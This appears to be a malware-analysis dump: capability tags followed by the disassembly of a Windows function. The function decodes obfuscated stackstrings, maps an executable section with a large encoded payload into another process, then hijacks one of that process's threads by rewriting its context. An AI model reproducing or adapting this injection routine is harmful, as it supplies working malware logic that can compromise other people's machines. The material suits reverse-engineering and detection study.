Function at 0x140003330
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x4d0]
sub rsp, 0x5d0
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
mov qword [rsp + 0x50], r8
xor esi, esi
mov qword [rsp + 0x60], rsi
mov rdi, rcx
mov qword [rsp + 0x58], rsi
mov r8d, esi
mov qword [rsp + 0x68], rsi
mov byte [rsp + 0x78], 0x46
mov byte [rsp + 0x79], 0xe
mov byte [rsp + 0x7a], 0x12
mov byte [rsp + 0x7b], 0x4e
mov byte [rsp + 0x7c], 0x5d
mov byte [rsp + 0x7d], 0x7a
mov byte [rsp + 0x7e], 0x43
mov byte [rsp + 0x7f], 0x41
mov byte [rbp - 0x80], 0x4b
mov byte [rbp - 0x7f], 0x7e
mov byte [rbp - 0x7e], 0x32
mov byte [rbp - 0x7d], 0x50
mov byte [rbp - 0x7c], 0x61
mov byte [rbp - 0x7b], 9
mov byte [rbp - 0x7a], 0x3d
mov byte [rbp - 0x79], 0x5b
movzx eax, byte [rsp + 0x78]
nop dword [rax]
movzx edx, byte [rsp + r8 + 0x78]
movzx ecx, r8b
and cl, 3
mov eax, 3
sub al, cl
movzx ecx, al
mov eax, 0x77194e5b
shl cl, 3
shr eax, cl
mov ecx, edx
movzx eax, al
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x78], cl
inc r8
cmp r8, 0x10
jb 0x1400033c0
mov byte [rbp - 0x60], 0x77
mov r8, rsi
mov byte [rbp - 0x5f], 0x4b
mov byte [rbp - 0x5e], 0x72
mov byte [rbp - 0x5d], 0x19
mov byte [rbp - 0x5c], 0x6d
mov byte [rbp - 0x5b], 0x4b
mov byte [rbp - 0x5a], 0x6a
mov byte [rbp - 0x59], 0x19
mov byte [rbp - 0x58], 0x75
mov byte [rbp - 0x57], 0x4b
mov byte [rbp - 0x56], 0x4c
mov byte [rbp - 0x55], 0x19
mov byte [rbp - 0x54], 0x6d
mov byte [rbp - 0x53], 0x4b
mov byte [rbp - 0x52], 0x6a
mov byte [rbp - 0x51], 0x19
mov byte [rbp - 0x50], 0x75
mov byte [rbp - 0x4f], 0x4b
mov byte [rbp - 0x4e], 0x1e
mov byte [rbp - 0x4d], 0x19
movzx eax, byte [rbp - 0x60]
nop dword [rax + rax]
movzx edx, byte [rbp + r8 - 0x60]
movzx ecx, r8b
and cl, 3
mov eax, 3
sub al, cl
movzx ecx, al
mov eax, 0x294b1e19
shl cl, 3
shr eax, cl
mov ecx, edx
movzx eax, al
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x60], cl
inc r8
cmp r8, 0x14
jb 0x140003470
lea rdx, [rsp + 0x78]
mov qword [rsp + 0x5f8], rbx
lea rcx, [rbp - 0x60]
call fcn.140001ef0
test rax, rax
je 0x1400038ce
mov qword [rsp + 0x30], rsi
lea r9, [rsp + 0x50]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x60]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call rax
test eax, eax
js 0x1400038ce
mov byte [rbp - 0x78], 0x44
mov r8, rsi
mov byte [rbp - 0x77], 0x3b
mov byte [rbp - 0x76], 0x7c
mov byte [rbp - 0x75], 0x16
mov byte [rbp - 0x74], 0x66
mov byte [rbp - 0x73], 0x1d
mov byte [rbp - 0x72], 0x19
mov byte [rbp - 0x71], 0x1a
mov byte [rbp - 0x70], 0x6d
mov byte [rbp - 0x6f], 0x16
mov byte [rbp - 0x6e], 0x16
mov byte [rbp - 0x6d], 8
mov byte [rbp - 0x6c], 0x5b
mov byte [rbp - 0x6b], 0x2a
mov byte [rbp - 0x6a], 0x24
mov byte [rbp - 0x69], 0x1e
mov byte [rbp - 0x68], 0x65
mov byte [rbp - 0x67], 0x35
mov byte [rbp - 0x66], 0x2f
movzx eax, byte [rbp - 0x78]
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rbp + r8 - 0x78]
movzx ecx, r8b
and cl, 3
mov eax, 3
sub al, cl
movzx ecx, al
mov eax, 0x75462f34
shl cl, 3
shr eax, cl
mov ecx, edx
movzx eax, al
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x78], cl
inc r8
cmp r8, 0x13
jb 0x140003570
mov byte [rbp - 0x48], 0x6c
mov r8, rsi
mov byte [rbp - 0x47], 8
mov byte [rbp - 0x46], 0x5f
mov byte [rbp - 0x45], 0x6a
mov byte [rbp - 0x44], 0x62
mov byte [rbp - 0x43], 8
mov byte [rbp - 0x42], 0x57
mov byte [rbp - 0x41], 0x6a
mov byte [rbp - 0x40], 0x6a
mov byte [rbp - 0x3f], 8
mov byte [rbp - 0x3e], 0x39
mov byte [rbp - 0x3d], 0x6a
mov byte [rbp - 0x3c], 0x62
mov byte [rbp - 0x3b], 8
mov byte [rbp - 0x3a], 0x57
mov byte [rbp - 0x39], 0x6a
mov byte [rbp - 0x38], 0x6a
mov byte [rbp - 0x37], 8
mov byte [rbp - 0x36], 0xb
mov byte [rbp - 0x35], 0x6a
movzx eax, byte [rbp - 0x48]
nop dword [rax + rax]
movzx edx, byte [rbp + r8 - 0x48]
movzx ecx, r8b
and cl, 3
mov eax, 3
sub al, cl
movzx ecx, al
mov eax, 0x1e080b6a
shl cl, 3
shr eax, cl
mov ecx, edx
movzx eax, al
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x48], cl
inc r8
cmp r8, 0x14
jb 0x140003620
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x48]
call fcn.140001ef0
mov rbx, rax
test rax, rax
je 0x1400038ce
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x48], 4
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x40], esi
lea r8, [rsp + 0x58]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rcx
mov rdx, rax
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call rbx
cmp qword [rsp + 0x58], rsi
je 0x1400038ce
mov byte [rsp + 0x70], 0x54
mov r8, rsi
mov byte [rsp + 0x71], 0x43
mov byte [rsp + 0x72], 0x76
mov byte [rsp + 0x73], 0x31
mov byte [rsp + 0x74], 0x57
mov byte [rsp + 0x75], 0x57
mov byte [rsp + 0x76], 9
movzx eax, byte [rsp + 0x70]
movzx edx, byte [rsp + r8 + 0x70]
movzx ecx, r8b
and cl, 3
mov eax, 3
sub al, cl
movzx ecx, al
mov eax, 0x665d094d
shl cl, 3
shr eax, cl
mov ecx, edx
movzx eax, al
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x70], cl
inc r8
cmp r8, 7
jb 0x140003700
mov byte [rbp - 0x30], 0x14
mov r8, rsi
mov byte [rbp - 0x2f], 0x65
mov byte [rbp - 0x2e], 0x46
mov byte [rbp - 0x2d], 0x7b
mov byte [rbp - 0x2c], 0x1d
mov byte [rbp - 0x2b], 0x65
mov byte [rbp - 0x2a], 0x36
mov byte [rbp - 0x29], 0x7b
mov byte [rbp - 0x28], 0x19
mov byte [rbp - 0x27], 0x65
mov byte [rbp - 0x26], 0x47
mov byte [rbp - 0x25], 0x7b
mov byte [rbp - 0x24], 0x54
mov byte [rbp - 0x23], 0x65
mov byte [rbp - 0x22], 0x37
mov byte [rbp - 0x21], 0x7b
mov byte [rbp - 0x20], 0x13
mov byte [rbp - 0x1f], 0x65
mov byte [rbp - 0x1e], 0x3f
mov byte [rbp - 0x1d], 0x7b
mov byte [rbp - 0x1c], 0x26
mov byte [rbp - 0x1b], 0x65
movzx eax, byte [rbp - 0x30]
movzx edx, byte [rbp + r8 - 0x30]
movzx ecx, r8b
and cl, 3
mov eax, 3
sub al, cl
movzx ecx, al
mov eax, 0x2665527b
shl cl, 3
shr eax, cl
mov ecx, edx
movzx eax, al
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x30], cl
inc r8
cmp r8, 0x16
jb 0x1400037b0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.140001ef0
mov r8, qword [rsp + 0x50]
lea rdx, str.C_V1Ugvl3AtSZUEZU5INGN7B9UnnTy1OYXa9kgBmpEJloYKh9_tmdz97WlIR6Wv_wU_uJj2ZZgk5uAsXk7tKbTAKwN1PH9QydeLXcfBGLW5D1ho8ASzgMiP9qSyJlqbsIqF8aFFzqw8OGKxpin1BWAdwdjOAp7aECKLBrfVZ5Bv1EllPEa8578Nn2Kg3c2Seuj29ebHMowgTbCnacB1I0StFXXHKK3AiacDREVUMAYZzGuXmlc0mXx8nAdH6l3zxzckWfSl_d1p4xJOnUsSMvzKrUpAEyMRQqoIDzpIDR0nQvqIjIJGQdhlQdWPq2k9UDZKfqqgQQVOh1W8HFl5NNOqP7My5XFGAnSARb_kYdVJktumMNggHPfMJuz3O72b8nNgMf4OqVze37xCbHnhN9ErUohyO2t6yi3OkjvwzrZSYUIn7ATGfdeEsWOR0ILO8GXjyrkyCIObPcahj8dHPy7XKJgafT_70PrM9pkgnvZDYs87t7eSfseJOVLlZIKFsSeEaLQ1zry1o6NMyANIpzFH4cz7u9gLjA34TyTjNjYSmodvbz8UvANhqqmyjEodRV1DFGD7UEraWFUSlXxT3H7ouM9LFrRnQtnv45LloFvhuUoIepAmLq7UOz7CjxO5gHtPsEjizBeifU1uxfYyTwqDVL22JuCPIlhA55HvQlSo3oeRhCb3_k4IWlQ1Om5jJFLcXV48hrHte1UlLGWNnxCwSciIJgcO239BWgcQ9okX_aRa3I5VyAVbOGYnTUTWV04hTrYfaN9ZArKpCErbuDjBuTm2L72W96KZmnVubyzsn3EhPF_BmZHVlax6H6F9TbMNvUOuwlKFCMDWlZCmqaXTKZQNjOQltA_cZYXAYgGy7sAc4eLIuv_KId1YuxmPxh6xqnFsA8FUY1vEffSJURADW7Rd8gztqt7j8KARpEyTHoapQBQx21Dpw923iAYmA_VYZADATXsCyrIQYC_JQedXMO3bsahDTmwyiScSdV1SB5wV5AMQlibA3UVO782YQtjumXlPArtPLS3gyBOWeOOfrNPPgT5pAviEDOMq3CI7r1AXSPJ7aS1gl4CO44dQ2E9ybgEwFkYQdEBre6ss84XVxNEz7qikIn2fSXVt_dNyQ1PYmv5sUOgXoTSplz4MBDl86IP3_O5VOxSI6z6LacMnPYjpia9nN4bk44TTbeaDPM2a1RdjKT8nyDYkmOALkxP7nQrJ5jzgtFdg8vZSRZZ2l0YsK8EhJZtAXoSzZ4jeQFDEQLMRhRbELeWEUjYhE2c2zkFiCn9as1aScA9vwC8T5dBnm0ewwi8TfXnJwbF_5_c4566CU05GMy_dcU9zCyPT4LUoD6XC0vN7mRLhoSz_G4ngtUaSXJO8tFZ8I_7u5FcNraG_2u8jPghn8HIiBRvikElppSrOVSSInqYgImfX6_ZrgPoZ2zgbnkkPietj3SHh4x5JPfS_4eDEnaW9Aj6PPnvMUVL14rPzHgNltKjH4EvsVmUC_WqmlaDfT2Y8l_Ow3lJjruqKKW4Loha0Ezs0kMv3NoPQqxqKyNOWDS80VUyAyPy0xHVbesvoIlTCwLPdz0otWWuqW6H0nu4li8JVhW5v3vToIoDhi5gxmhPGECHrrVWlzssFrKp9YE6DMRQBjly8IX3slE2BmPZvjmqzm7Ag3FFqi7Ht5xwg_FG5EPAEb1mmwE7Z6mZkdqn9lTt0OQ8blkxvazHLFassB_xd9rRcQzYAgkojM359ztyVwDWctqSDQ80T6H5ysMnB8NVDawCG0YI_YRjK5y8vP0yy5da4DHo4fQpg2YXORRi5Vq6zjKnSnG20FpTcKXQeF3RailHpNXQOVwjQgcTqKVfNxSFmsfdFVni80ZMMEbIQstMfwGblCdgNwi1Uqajk3RsNQV6qKoWWih54OITNnVZQJtAbrjIe8schYDTNeEmLcS44Pq25vomC8F_77PaCx15j0v1EkUyhd8h8okhdSn_VwQa9He7Vx4iZ1SpetdflenhaF8BSDXKRzYm_rbu_hvN5u2MzZffPSFB_jXSmYyoCQlqAIJAicJgdqGiEoCPxOx2c_i0LpoPBSwvOy0gBrf8grhOYW1nSHiqTzSlAuG7XwGB_sROqIsH5PBW7QPkkblG8CmE7wzzT_WSB4OXfWeNQC9I9n2eKaUQ2UMwDXzqcgXO74xqSH0FBF83o9hH45kxodzFrT7aHLvneypKbW5byjr7pxL_P9cnbNOdMVJKbTKVWoPsG3WibgiAkBruaP1rjiEI_cHAWuud5u8AxCx8PSGuWtKgRWDdvY2bUROTF1EyDGHgVT_QLPE4viRBOyNDVRq0DdTrycWliUUl4C7GR8P_7rqWHEuoUZrkzut1mNoEDfTSxLwf8FADmx4K80gjA9vhLxbrYhVhYUC1CNNdfNl43_oHyN_mNwsfWbFSA8P7RGT690SDIbni46UC0VjTKF_x2M2tL9rJMcj6GyGTHcoEzcdaFfBQeyHfIK7gcGHUGv4dtB5OclNEDfGI9kPmSB7qjrWN4oPr08asp9ogPSL3p_TOFqhPXhe30bBxyf5DuXIB8Z9DJeHKS0RZ_AMcQMZKbcgG9NHBoQD6p0bbjuDdqldgI7w9bV1qTC6dzXVD_OGZcafwWrrgVIbGWp9FpT9fm_UhVFHM4PmBlrVMiH6qPjrheKVOPEL8WCENVC41_lwcGt38Zdsg9Yw1LWfAFXLojn8kxgTzZ6y_Y54Bs5dltjedhvqlfk5H7ZbZr2sQUyljzud2qqwhR0fOv5nNihdE07Ev4MECb_BEJdzp41Atibe2x8fQ_DWv8bDRIvRvwthnQKgBGwWEPxXkIDOppkIMWn33pRKLTDe147EfPcIFyQyIE23q8EgS2hCfRkF6TKIRHtjLBIUaUiBCYOrBwlGMcIS0wDbGVEhhG2eTBtOmm0iQdZxlBXegWSS6m8i903x894GTIJBojtF92NB4r1a_o9yo7hXZzGy_GQ0Cu12cFjneIamDbjDY6PbQJkn4tNTtGV8cGxq_y5EYQtgaTL_JwA9N6hxSn7QibUGHmjd3N2dkEdMpgvJiqYPcEN0PYGU3v3JOTqHPGKFtGuZEeJCjeWQDBrRTPnhKyXWhle9jHLDTsPkXz0b88SfbGcUSG__7oIi6CT_3tX1iaFTSJgBoFIw_sSv8FfD_RXmM02artvYlcKMcoTEh1IWWcPVCZX2yeVznISkPOYra_sQCgARgJ7od2wdlSMvn0lgnjjAceDzj01iCz1CAL9MONOzXtG43_VdoXuATqjULGfnRpoHCC1uERptYoeXuWD2pfFpZ_kRIHxRWJwyKaq2hd6dfZmiECY6jOoZd832F1ftfgytlKTQgsLvkus2x4g9DQBbT7i5ZgvE6yv83sVPnFq_uAKzh789seHQgDjmdmznr1hNmTm7zDNWTsiIMNx2g3nTBgATObGQ6fLhU1MIdTi0ltf4r3I6NttjXgbpAVz87qassAghpNFEQaBH3cry7c6tdqGey4LaGfzJqXqSP5Ebcer5h_3gLLO2q5KO9KnWY09iOJQ8vjguwlIdjg7g3RB7u4FhCuumqrQ2wiggHhIV1pbkqbeseDiDrELT1nxxb8ol8kUOE30mfjVqaK6qsjkZUyDyHx9b0MPIHhnk3r44BzkHcLNcjejqLwryT5ZWTB6Id8KHpMyUzvww5OugKdJ9Q6nHkTboswgvV_Y9dkd1aG9qfF99DIgwidzM166C8JFReKNHh_MpKY1i3lTm9jwqb5HS5MdVp9TZEFt7oZuhDGqiuF0zha1ZACFm5ieSeg3KJbRohUWU80S1bs3a43ryjHxppqLZStbXNp74fStkq7NQjpLEzYEH9Q2Hb2V7Dm014_HilL4MoW8kBKvEFIF2H1A7hhX3iHhUCFFoHfUkh5ZvP_qLs_RHOgPuQnjAXJzz8doBdQ6LP0hYwVSUvtU5G3W6oe_9m0hu8pbMY6llCciwsHuEMtbL2d8zRdQJKJ34gSxyo_HIyZyr0I_oIR98UoDYfze1sJ_t03t5eBZkpDdMPf
mov rcx, qword [rsp + 0x58]
call rax
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x48], 0x20
lea r8, [rsp + 0x68]
mov dword [rsp + 0x40], esi
xor r9d, r9d
mov dword [rsp + 0x38], 2
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call rbx
mov rcx, rdi
mov dword [rbp + 0x20], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov ecx, eax
call fcn.140004a40
mov rbx, rax
test rax, rax
je 0x1400038ce
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
lea rdx, [rbp - 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x10]
mov qword [rbp + 0xe8], rcx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0x1f4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1400038d0
xor al, al
mov rbx, qword [rsp + 0x5f8]
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.1400073b0
add rsp, 0x5d0
pop rdi
pop rsi
pop rbp
ret